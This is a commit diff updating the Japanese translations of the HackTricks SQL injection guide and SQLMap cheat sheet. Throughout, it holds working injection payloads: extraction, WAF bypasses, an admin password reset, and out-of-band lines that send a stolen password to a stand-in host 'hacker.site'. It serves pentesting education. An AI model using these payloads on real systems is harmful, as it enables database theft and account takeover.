mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq
This commit is contained in:
parent
d730a0dbaa
commit
0ab7559ee8
4 changed files with 100 additions and 100 deletions
|
@ -630,7 +630,7 @@
|
|||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
|
|
@ -17,17 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## SQLインジェクションとは?
|
||||
|
||||
**SQLインジェクション** は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを**表示**、**変更**、または**削除**することができます。このような行為は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービスの拒否を引き起こす可能性があります。
|
||||
**SQLインジェクション** は、攻撃者がアプリケーションのデータベースクエリに**干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含む、アクセスすべきでないデータを**表示**、**変更**、または**削除**することができます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービスの拒否を引き起こす可能性があります。
|
||||
|
||||
## エントリーポイントの検出
|
||||
|
||||
サイトがSQLインジェクション(SQLi)に**脆弱である**ように見える場合、SQLi関連の入力に対する異常なサーバー応答があるとき、**最初のステップ**は**クエリを中断することなくデータを注入する方法を理解する**ことです。これには、**現在のコンテキストから効果的に脱出する方法を特定する**必要があります。これらは役立ついくつかの例です:
|
||||
サイトがSQLインジェクション(SQLi)に**脆弱である**ように見える場合、SQLi関連の入力に対する異常なサーバー応答があるとき、**最初のステップ**は、**クエリを中断することなくデータを注入する方法を理解する**ことです。これには、**現在のコンテキストから効果的にエスケープする方法を特定する**必要があります。これらは役立ついくつかの例です:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
|
@ -72,9 +72,9 @@ HQL does not support comments
|
|||
```
|
||||
### 論理演算による確認
|
||||
|
||||
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示唆されます。
|
||||
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
|
||||
|
||||
同様に、**数学演算**の適用も効果的な確認技術として機能します。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示しています。
|
||||
同様に、**数学演算**の適用も効果的な確認技術として機能します。例えば、`?id=1`と`?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
|
||||
|
||||
論理演算確認を示す例:
|
||||
```
|
||||
|
@ -112,11 +112,11 @@ SQLite
|
|||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
場合によっては、**sleep関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリを**複雑な操作を実行させる**ことができ、数秒かかるようにすることができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定です(もしあれば)_。
|
||||
場合によっては、**sleep関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリを**複雑な操作を実行させる**ことができ、数秒かかるようにすることができます。_これらの技術の例は、各技術ごとに別途コメントされます(ある場合)_。
|
||||
|
||||
### バックエンドの特定
|
||||
|
||||
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**sleep**_ **関数**や、これらの関数を使用することができます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
|
||||
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**sleep**_ **関数**や、次のものを使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
|
@ -162,7 +162,7 @@ SQLite
|
|||
まず最初に、**初期リクエスト**が返す**カラム**の**数**を特定する必要があります。これは、**両方のクエリが同じ数のカラムを返す必要があるため**です。\
|
||||
この目的のために通常使用される2つの方法があります:
|
||||
|
||||
#### ORDER BY / GROUP BY
|
||||
#### Order/Group by
|
||||
|
||||
クエリのカラム数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を確認するために同様に利用できます。
|
||||
```sql
|
||||
|
@ -182,7 +182,7 @@ SQLite
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
クエリが正しくなるまで、より多くのNULL値を選択します:
|
||||
クエリが正しくなるまで、どんどんnull値を選択します:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
|
@ -203,41 +203,41 @@ _`null`値を使用するべきです。なぜなら、クエリの両側のカ
|
|||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
|
||||
_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_
|
||||
|
||||
## 隠れたユニオンベースの悪用
|
||||
|
||||
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
|
||||
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオは、しばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
|
||||
|
||||
これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
|
||||
|
||||
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。
|
||||
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ペイロードにユニオンクエリを追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。
|
||||
|
||||
より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。
|
||||
|
||||
## エラーベースの悪用
|
||||
|
||||
何らかの理由で**クエリ**の**出力**を見ることが**できない**が、**エラーメッセージ**は**見ることができる**場合、これらのエラーメッセージを使用してデータベースからデータを**エクスフィルトレート**することができます。\
|
||||
何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**は**見ることができる**場合、これらのエラーメッセージを使用してデータベースからデータを**エクスフィルトレート**することができます。\
|
||||
ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません。
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Blind SQLiの悪用
|
||||
|
||||
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容によって**区別**することができます。\
|
||||
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに**区別**することができます。なぜなら、ページ上の内容が異なるからです。\
|
||||
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Exploiting Error Blind SQLi
|
||||
## エラー盲目的SQLiの悪用
|
||||
|
||||
これは**以前と同じケース**ですが、クエリからの真偽応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別することができます**(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
||||
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## 時間ベースのSQLiの悪用
|
||||
|
||||
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[タイミングで確認するために](./#confirming-with-timing)以前に使用されているのを見たことがあります。
|
||||
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[タイミングでの確認](./#confirming-with-timing)のために以前に使用されているのを見たことがあります。
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
|
@ -253,13 +253,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
|||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### XXEを介したアウトオブバンドデータ流出
|
||||
### XXEによるアウトオブバンドデータ流出
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## 自動化された悪用
|
||||
|
||||
[SQLMap チートシート](sqlmap/)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用してください。
|
||||
[SQLMap Cheatsheet](sqlmap/)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用してください。
|
||||
|
||||
## 技術特有の情報
|
||||
|
||||
|
@ -334,17 +334,17 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
||||
### 既存のオブジェクト/ユーザーのパスワードを変更する
|
||||
|
||||
そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)ために何かを修正する必要があります:
|
||||
そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**ユーザーの場合はadmin**)必要があります。何かを変更します:
|
||||
|
||||
* 名前を**AdMIn**(大文字と小文字の組み合わせ)としてユーザーを作成する
|
||||
* 名前を**admin=**としてユーザーを作成する
|
||||
* **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
|
||||
* 名前を**AdMIn**(大文字と小文字の文字)としてユーザーを作成します
|
||||
* 名前を**admin=**としてユーザーを作成します
|
||||
* **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成します
|
||||
|
||||
#### SQLトランケーション攻撃
|
||||
|
||||
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成してみてください。
|
||||
|
||||
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_")に**切り詰め**、その後、**データベース内でユーザー「**admin**」を新しいパスワードで更新する際に、末尾のすべてのスペースを**自動的に削除**します**(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。**
|
||||
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、データベース内でユーザー"**admin**"を**新しいパスワード**で更新するために**自動的に末尾のすべてのスペースを削除します**(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。
|
||||
|
||||
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
|
@ -358,7 +358,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
|||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が発生する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。
|
||||
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が発生する行を挿入しようとしたときに、データベースが実行するアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
|
@ -366,15 +366,15 @@ Example Payload Injection:
|
|||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
以下のように機能します:
|
||||
Here's how it works:
|
||||
|
||||
- クエリは、`generic_user@example.com`用の1行と、`admin_generic@example.com`用の別の1行を挿入しようとします。
|
||||
- `admin_generic@example.com`用の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE`句がトリガーされ、MySQLに既存の行の`password`フィールドを「bcrypt_hash_of_newpassword」に更新するよう指示します。
|
||||
- その結果、`admin_generic@example.com`を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます(「bcrypt_hash_of_newpassword」は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。
|
||||
- クエリは2つの行を挿入しようとします:1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。
|
||||
- もし `admin_generic@example.com` の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQLに既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
|
||||
- その結果、`admin_generic@example.com` を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。
|
||||
|
||||
### 情報を抽出する
|
||||
### Extract information
|
||||
|
||||
#### 同時に2つのアカウントを作成する
|
||||
#### Creating 2 accounts at the same time
|
||||
|
||||
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:
|
||||
```
|
||||
|
@ -383,11 +383,11 @@ username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(selec
|
|||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### 10進数または16進数の使用
|
||||
#### Using decimal or hexadecimal
|
||||
|
||||
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください。
|
||||
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意してください。
|
||||
|
||||
**hex2dec** と **substr** を使用して:
|
||||
Using **hex2dec** and **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
|
@ -406,7 +406,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。 **技術的知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -450,7 +450,7 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
|||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### 一般的なバイパス
|
||||
### Generic Bypasses
|
||||
|
||||
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
|
||||
```sql
|
||||
|
@ -466,10 +466,10 @@ OR -> || -> %7C%7C
|
|||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Scientific Notation WAF bypass
|
||||
### 科学的表記法 WAF バイパス
|
||||
|
||||
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
|
||||
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用できます:
|
||||
このトリックの詳細な説明は [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) で見つけることができます。\
|
||||
基本的に、科学的表記法を予期しない方法で使用することで、WAF をバイパスできます:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
|
@ -479,12 +479,12 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
|
||||
まず第一に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
|
||||
|
||||
テーブルの**名前を使用せずに第三カラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
|
||||
カラム名を使用せずに**テーブルの第三カラムにアクセスすることが可能**です。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
または **カンマバイパス** を使用します:
|
||||
または **カンマバイパス** を使用する:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
|
@ -510,7 +510,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# SQLMap - チートシート
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -98,7 +98,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、送信する前にペイロードをカスタムな方法で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
|
||||
**Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、ペイロードを送信する前にカスタム方法で処理することが非常に簡単かつ迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -156,52 +156,52 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応物に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を 'NOT BETWEEN 0 AND #' に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 '=' を LIKE 演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
|
||||
| commalessmid.py | 'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます。 |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||
| equaltolike.py | 演算子等号('=')のすべての出現を演算子 'LIKE' に置き換えます。 |
|
||||
| escapequotes.py | スラッシュで引用符(' と ")をエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を 'GREATEST' 対応物に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます。 |
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "") フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp\_password.py | 自動的にDBMSログからの難読化のためにペイロードの末尾に 'sp\_password' を追加します。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
